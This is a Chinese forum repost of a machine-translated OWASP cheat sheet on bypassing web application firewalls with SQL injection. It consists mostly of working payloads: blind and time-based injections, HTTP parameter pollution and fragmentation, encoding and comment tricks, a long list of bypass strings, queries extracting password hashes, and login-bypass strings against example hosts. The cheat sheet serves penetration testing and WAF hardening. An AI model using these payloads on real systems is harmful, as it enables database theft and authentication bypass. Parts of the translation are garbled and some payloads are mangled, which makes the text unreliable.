SQL注入绕过WAF

zhaohanqing168   ·   发表于 2020-04-03 19:10:14   ·   技术文章

SQL注入绕过WAF
转载于https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
感谢您访问OWASP.org。最近,我们将社区迁移到了新的Web平台,遗憾的是,该页面的内容需要从以前的Wiki页面以编程方式移植。还有一些工作要做。

SQLi
甲SQL注入攻击通过从客户机到该应用程序的输入数据包括插入或SQL查询的“注射”的。成功的SQL注入漏洞可以从数据库读取敏感数据,修改数据库数据(插入/更新/删除),对数据库执行管理操作(例如关闭DBMS),恢复DBMS文件上存在的给定文件的内容系统,并在某些情况下向操作系统发出命令。SQL注入攻击是一种注入攻击,其中SQL命令被注入到数据平面输入中以实现预定义的SQL命令的执行。

SQL注入–基本概念
SQL注入有两种类型

• SQL Injection into a String/Char parameter
Example: SELECT * from table where example = ‘Example’

• SQL Injection into a Numeric parameter
Example: SELECT from table where id = 123
利用SQL注入漏洞根据DBMS类型和注入条件将其分为几类。
• A vulnerable request can get into Insert, Update, Delete, etc.
Example: UPDATE users SET pass = ‘1’ where user = ‘t1’ OR 1=1—‘
盲SQL注入
Example: select
from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(200000,md5(now())))
SLEEP(5)—
SELECT BENCHMARK(1000000,MD5(‘A’));
id=1 OR SLEEP(25)=0 LIMIT 1—
id=1) OR SLEEP(25)=0 LIMIT 1—
id=1’ OR SLEEP(25)=0 LIMIT 1—
id=1’) OR SLEEP(25)=0 LIMIT 1—
id=1)) OR SLEEP(25)=0 LIMIT 1—
id=SELECT SLEEP(25)—
各种DBMS的利用功能
Example: (MySQL): SELECT from table where id = 1 union select 1,2,3
Example: (PostgreSQL): SELECT
from table where id = 1; select 1,2,3
绕过WAF:SQL注入-规范化方法 示例请求规范化功能中漏洞的编号(1)。•以下请求不允许任何人进行攻击

/?id=1+union+select+1,2,3/*

•如果WAF中存在相应的漏洞,则此请求

will be successfully performed /?id=1/union/union/select/select+1,2,3/*

•经过WAF处理后,请求将变为

index.php?id=1/uni X on/union/sel X ect/select+1,2,3/*

给定的示例在清除危险流量的情况下起作用,而不是在阻止整个请求或攻击源的情况下起作用。请求规范化功能中漏洞的示例编号(2)。•同样,以下请求不允许任何人进行攻击

/?id=1+union+select+1,2,3/*

•如果WAF中存在相应的漏洞,则此请求将成功执行

/?id=1+un//ion+sel//ect+1,2,3—

•SQL请求将变为

SELECT * from table where id =1 union select 1,2,3—

代替构造/ ** /,可以使用WAF剪切掉的任何符号序列(例如,#####,%00)。

给定的示例在过度清洗传入数据(用空字符串替换正则表达式)的情况下起作用。

“使用HTTP参数污染(HPP) ”

•以下请求不允许任何人进行攻击

/?id=1;select+1,2,3+from+users+where+id=1—

•使用HPP将成功执行此请求

/?id=1;select+1&id=2,3+from+users+where+id=1—

绕过WAF成功进行HPP攻击取决于被攻击应用程序的环境。 [ http:// www ..org / images / b / ba / AppsecEU09_CarettoniDiPaola_v0.8.pdf EU09卢卡·卡里托尼(Luca Carettoni),斯特凡诺·迪帕拉(Stefano diPaola)]。

![](Sqli-HPP.png“ File:Sqli-HPP.png”)

使用HTTP参数污染(HPP) •易受攻击的代码

SQL=” select key from table where id= “+Request.QueryString(“id”)

•使用HPP技术成功执行了此请求

/?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users

•SQL请求成为表中的选择键,其中

id=1/*/union/,/select/,/pwd/,/from/,*/users

绕过WAF:SQL注入– 使用HTTP参数分段(HPF)的HPF

•易受攻击的代码示例

Query(“select from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’]); Query(“select from table where a=”.$_GET[‘a’].” and b=”.$_GET[‘b’].” limit”.$_GET[‘c’]);

•以下请求不允许任何人进行攻击

/?a=1+union+select+1,2/*

•这些请求可以使用HPF成功执行

/?a=1+union/&b=/select+1,2 /?a=1+union/&b=/select+1,pass/&c=/from+users—

•SQL请求变为

select from table where a=1 union/ and b=/select 1,2 select from table where a=1 union/ and b=/select 1,pass/ limit /from users—

绕过WAF: 使用逻辑请求AND / OR进行盲SQL注入 •以下请求使一个请求可以对许多WAF进行成功的攻击

/?id=1+OR+0x50=0x50 /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

可以使用负号和不等号(!=,<>,<,>)代替等号-太神奇了,但是许多WAF都错过了!

通过将用WAF签名获得的SQL函数替换为其同义词,可以使用盲SQL注入方法来利用此漏洞。 substring()-> mid(),substr()ascii()-> hex(),bin()Benchmark()-> sleep() 各种各样的逻辑请求。 和1或1和1 = 1和2 <3和'a'='a'和'a'>> b’和char(32)=’’和3 <= 2和5 <=> 4和5 <=> 5和5为空或5不为空…。 具有相同含义的各种请求符号的示例。 从mysql.user中选择用户,其中user =’user’或mid(password,1,1)=’‘从mysql.user中选择用户,其中user =’user’或mid(password,1,1)= 0x2a选择用户从mysql.user中,其中user =’user’或mid(password,1,1)= unhex(’2a’)从mysql.user中选择用户,其中user =’user’或mid(password,1,1)regexp’[ ]’从mysql.user中选择用户,其中user =’user’或mid(password,1,1),例如’‘从mysql.user中选择用户,其中user =’user’或mid(password,1,1)rlike ‘[]’从mysql.user中选择用户,其中user =’user’OR ord(mid(password,1,1))= 42从mysql.user中选择用户,其中user =’user’或ascii(mid(password, 1,1))= 42从mysql.user中选择用户,其中user =’user’或find_in_set(’2a’,hex(mid(password,1,1)))= 1从mysql.user中选择用户,其中user =’用户的OR位置(密码中的0x2a)= 1从mysql中选择用户。用户,其中用户=’用户’或定位(0x2a,密码)= 1 已知: substring(((选择’password’),1,1)= 0x70 substr((选择’password’),1,1)= 0x70 mid((select’password’),1,1)= 0x70 新增内容: strcmp (left(’password’,1),0x69)= 1 strcmp(left(’password’,1),0x70)= 0 strcmp(left(’password’,1),0x71)= -1 STRCMP(expr1,expr2 )如果字符串相同,则返回0;如果第一个参数小于第二个,则返回-1,否则返回1。

签名绕过的示例。 以下请求进入WAF签名/?id = 1 + union +(select + 1,2 + from + users),但有时,可以绕过使用的签名/?id = 1 + union +(select +’xz’from + xxx)

/?id=(1)union(select(1),mid(hash,1,32)from(users)) /?id=1+union+(select’1’,concat(login,hash)from+users) /?id=(1)union(((((((select(1),hex(hash)from(users)))))))) /?id=(1)or(0x50=0x50)

SQL注入攻击可以成功绕过WAF,并且可以在以下所有情况下进行: •WAF请求规范化功能中的漏洞。•HPP和HPF技术的应用。•绕过过滤器规则(签名)。•通过盲SQL注入方法利用漏洞。•攻击应用程序的操作逻辑(和/或)

WAF绕过字符串。

/!%55NiOn/ /!%53eLEct/ %55nion(%53elect 1,2,3)— - +union+distinct+select+ +union+distinctROW+select+ ///!12345UNION SELECT/// concat(0x223e,@@version) concat(0x273e27,version(),0x3c212d2d) concat(0x223e3c62723e,version(),0x3c696d67207372633d22) concat(0x223e,@@version,0x3c696d67207372633d22) concat(0x223e,0x3c62723e3c62723e3c62723e,@@version,0x3c696d67207372633d22,0x3c62​723e) concat(0x223e3c62723e,@@version,0x3a,”BlackRose”,0x3c696d67207372633d22) concat(‘’,@@version,’’) ///!50000UNION SELECT/// //UNION///!50000SELECT/// /!50000UniON SeLeCt/ union /!50000%53elect/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /!%55NiOn/ /!%53eLEct/ /!u%6eion/ /!se%6cect/ +un//ion+se//lect uni%0bon+se%0blect %2f%2funion%2f%2fselect union%23foo%2Fbar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) //union//select// union (/*!// SeleCT / 1,2,3) /!union/+/!select/ union+/!select/ //union//select// //uNIon//sEleCt// /**//!union//**//!select//**/ /!uNIOn/ /!SelECt/ +union+distinct+select+ +union+distinctROW+select+ +UnIOn%0d%0aSeleCt%0d%0a UNION/&test=1/SELECT/&pwn=2/ un?+un//ion+se//lect+ +UNunionION+SEselectLECT+ +uni%0bon+se%0blect+ %252f%252a/union%252f%252a /select%252f%252a/ /%2A%2A/union/%2A%2A/select/%2A%2A/ %2f%2funion%2f%2fselect%2f**%2f union%23foo%2Fbar%0D%0Aselect%23foo%0D%0A /!UnIoN*/SeLecT+

通过PASS使用URL编码方法进行联合选择: %55nion(%53elect)union%20distinct%20select union%20%64istinctRO%57%20select union%2053elect%23?%0auion%20?%23?%0aselect%23?zen? %0Aunion all%23zen%0A%23Zen%0Aselect%55nion%53ect u%6eion se%6cect unio%6e%73elect unio%6e%20%64istinc%74%20%73elect uni%6fn unique%52OW s%65lect%75 %6e%6f%69%6e%61%6c%6c%73%65%6c%65%63%7 非法的排序规则混合方法: unhex(hex(concat(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name)) )

/!from/information_schema.columns/!where/column_name%20/!like/char(37,%20112,%2097,%20115,%20115,%2037)

union select 1,2,unhex(hex(Concat(Column_Name,0x3e,Table_schema,0x3e,table_Name))),4,5 /!from/information_schema.columns/!where/column_name%20/!like/char(37,%20112,%2097,%20115,%20115,%2037)?

绕过评论
SQL注释使我们可以绕过很多过滤和WAF。

Code :
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--

大小写变更
一些WAF仅过滤小写的SQL关键字。

正则表达式过滤器:/ union \ sselect / g

http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--
替换关键字
某些应用程序和WAF使用preg_replace删除所有SQL关键字。这样我们就可以轻松绕过。

http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
在某些情况下,SQL关键字被过滤掉并替换为空格。因此我们可以使用“%0b”来绕过。

http://victim.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--
对于Mod_rewrite,不能绕过注释“ / /”。所以我们用“%0b”代替“ / /”。

Forbidden: http://victim.com/main/news/id/1/**/
|
|/**/lpad(first_name,7,1).html
Bypassed : http://victim.com/main/news/id/1%0b
|
|%0blpad(first_name,7,1).html
进阶方法
通过执行“缓冲区溢出”使防火墙崩溃。

1)缓冲区溢出/防火墙崩溃:许多防火墙都是用C / C ++开发的,我们可以使用缓冲区溢出使它们崩溃。

http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 “A”)..])+/!uNIOn/+/!SeLECt/+1,2,3,4….

You can test if the WAF can be crashed by typing:
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4….

If you get a 500, you can exploit it using the Buffer Overflow Method.
2)用HEX值替换字符:我们可以用HEX(URL编码)值替换某些字符。

Example:
http://www.site.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4….
(which means “union select”)
4)其他可利用的功能:许多防火墙尝试通过添加原型功能或奇怪功能来提供更多保护!(当然,我们可以利用!):

Example:
This firewall below replaces “” (asterisks) with Whitespaces! What we can do is this:
http://www.site.com/index.php?page_id=-15+uni
on+select+1,2,3,4…
(If the Firewall removes the “
”, the result will be: 15+union+select….)
So, if you find such a silly function, you can exploit it, in this way.
验证绕过
如果我们需要绕开某些管理面板,可以使用或1 = 1来做到这一点。

Code:
or 1— -‘ or 1 or ‘1”or 1 or”
SELECT * FROM login ID = 1或1 –-‘或1或’1”或1或“ AND username =” AND password =“”,则“ or 1 –-”处于活动状态,使条件为true并忽略查询的其余部分。现在让我们检查常规字符串-

SELECT FROM login WHERE username =’或1—‘或1或’1”或1或“’…..”“。或1”部分使查询成立,而其他部分则被视为比较字符串。与双引号相同。SELECT FROM login WHERE username =“”或1–-‘或1或’1“或1或”“

基准测试
请使用“基准 ”,让您拥有SQLi字符串,并在基准上测试不同的测试用例

如果您有上面遗漏的任何SQLi需求,请帮助“贡献邮件”, 并成为“流行的SQLi规避秘籍”的一部分。
转载于https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF
贡献者
Dhiraj Mishra(mishra.dhiraj@owasp.org

打赏我,让我更有动力~

0 条回复   |  直到 2020-4-3 | 1453 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.